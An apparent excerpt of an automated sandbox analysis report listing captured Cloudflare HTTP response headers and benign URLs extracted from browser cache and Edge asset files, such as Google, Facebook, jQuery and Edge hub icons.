Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jan 2025 16:33:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8fc464cc5a7d18f6-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1486&min_rtt=1486&rtt_var=743&sent=6&recv=8&lost=0&retrans=1&sent_bytes=4266&recv_bytes=1282&delivery_rate=140431&cwnd=215&unsent_bytes=0&cid=ffa5418d467019f4&ts=363&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 03 Jan 2025 16:34:07 GMTContent-Type: text/htmlContent-Length: 553Connection: closeServer: cloudflareCF-RAY: 8fc464fe3bfb4249-EWRX-Frame-Options: DENYX-Content-Type-Options: nosniff
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jan 2025 16:34:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcf-cache-status: DYNAMICServer: cloudflareCF-RAY: 8fc464ff6fef15cb-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1504&min_rtt=1503&rtt_var=567&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2864&recv_bytes=1262&delivery_rate=1923583&cwnd=178&unsent_bytes=0&cid=08a4ba078752c85f&ts=483&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 03 Jan 2025 16:34:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACritical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Content-Options: nosniffX-Frame-Options: SAMEORIGINcf-mitigated: challenge
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 03 Jan 2025 16:34:46 GMTContent-Type: text/plain; charset=UTF-8Content-Length: 12Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomainsPermissions-Policy: geolocation=(), camera=(), microphone=()Referrer-Policy: strict-origin-when-cross-originX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-XSS-Protection: 1; mode=blockSet-Cookie: __cf_bm=sA0Puuj4aXXOS9KKMfdzZRompObTn8nevRbfCX0BIEU-1735922086-1.0.1.1-v5wJ6ZPtp0cs24RuD4s5VyqIJFdLtUS1TOEukCZ9oRa4EvdVq7kg_DDCjs743uOsGY4q8SxarmOMxkHpTEWrVdh1w1818KTCqDpEU0LMHF0; path=/; expires=Fri, 03-Jan-25 17:04:46 GMT; domain=.www.cloudflare.com; HttpOnly; Secure; SameSite=NoneReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BzD4PwxRLs%2FvgqTiL9Zv%2BYSo0pSXzfSD0QdGb0kKr0jiFSZ%2F5SR6ByT3a8HifCKRfppSM6%2FsbNuVx9ltTANLjYnS55Ei3S5LqLa4yyQzU6LiZNNNPexl%2FmVNEfbXpsd4uawYiQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8fc465ef9e47437f-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_652.1.dr, chromecache_434.1.dr	String found in binary or memory: http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/
Source: chromecache_441.1.dr, chromecache_491.1.dr	String found in binary or memory: http://aviathemes.com
Source: chromecache_582.1.dr, chromecache_577.1.dr	String found in binary or memory: http://blog.christoffer.me/six-things-i-learnt-about-ios-safaris-rubber-band-scrolling/
Source: chromecache_379.1.dr, chromecache_456.1.dr, chromecache_465.1.dr, chromecache_458.1.dr, chromecache_603.1.dr, chromecache_492.1.dr	String found in binary or memory: http://cipa.jp/exif/1.0/
Source: chromecache_653.1.dr, chromecache_410.1.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: chromecache_607.1.dr	String found in binary or memory: http://fontawesome.com
Source: chromecache_607.1.dr	String found in binary or memory: http://fontawesome.com/license
Source: chromecache_494.1.dr, chromecache_606.1.dr	String found in binary or memory: http://github.com/benbarnett/jQuery-Animate-Enhanced
Source: chromecache_644.1.dr	String found in binary or memory: http://gmpg.org/xfn/11
Source: chromecache_535.1.dr, chromecache_381.1.dr	String found in binary or memory: http://jquery.com
Source: chromecache_441.1.dr, chromecache_491.1.dr	String found in binary or memory: http://kriesi.at
Source: chromecache_582.1.dr, chromecache_577.1.dr	String found in binary or memory: http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating
Source: chromecache_429.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_412.1.dr	String found in binary or memory: http://papermashup.com/demos/css-buttons)
Source: chromecache_582.1.dr, chromecache_577.1.dr	String found in binary or memory: http://paulirish.com/2011/requestanimationframe-for-smart-animating/
Source: chromecache_601.1.dr	String found in binary or memory: http://projects.lukehaas.me/css-loaders/
Source: chromecache_634.1.dr, chromecache_651.1.dr	String found in binary or memory: http://tizen.org/system/tizenid
Source: msapplication.xml2.14.dr	String found in binary or memory: http://www.google.com/
Source: msapplication.xml4.14.dr	String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml6.14.dr	String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml7.14.dr	String found in binary or memory: http://www.wikipedia.com/
Source: chromecache_426.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_426.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_605.1.dr, chromecache_499.1.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_396.1.dr, chromecache_432.1.dr	String found in binary or memory: https://analytics.tiktok.com/i18n/pixel/events.js
Source: chromecache_644.1.dr	String found in binary or memory: https://api.w.org/
Source: chromecache_426.1.dr, chromecache_510.1.dr	String found in binary or memory: https://apis.google.com
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://bard.google.com/
Source: Reporting and NEL.22.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: offscreendocument_main.js.21.dr, service_worker_bin_prod.js.21.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: manifest.json0.21.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.21.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_426.1.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_548.1.dr, chromecache_624.1.dr	String found in binary or memory: https://connect.facebook.net/
Source: chromecache_396.1.dr, chromecache_432.1.dr	String found in binary or memory: https://connect.facebook.net/en_US/fbevents.js
Source: chromecache_548.1.dr, chromecache_624.1.dr	String found in binary or memory: https://connect.facebook.net/log/fbevents_telemetry/
Source: chromecache_426.1.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_429.1.dr	String found in binary or memory: https://daneden.github.io/animate.css/
Source: Reporting and NEL.22.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: chromecache_597.1.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_428.1.dr	String found in binary or memory: https://dmp.adform.net/serving/cookie/match?party=1123
Source: manifest.json.21.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_426.1.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.21.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.21.dr	String found in binary or memory: https://drive.google.com/
Source: 000003.log6.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr, HubApps Icons.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 0697c2b3-f033-45a4-b104-b0c0c5ea3a7d.tmp.21.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
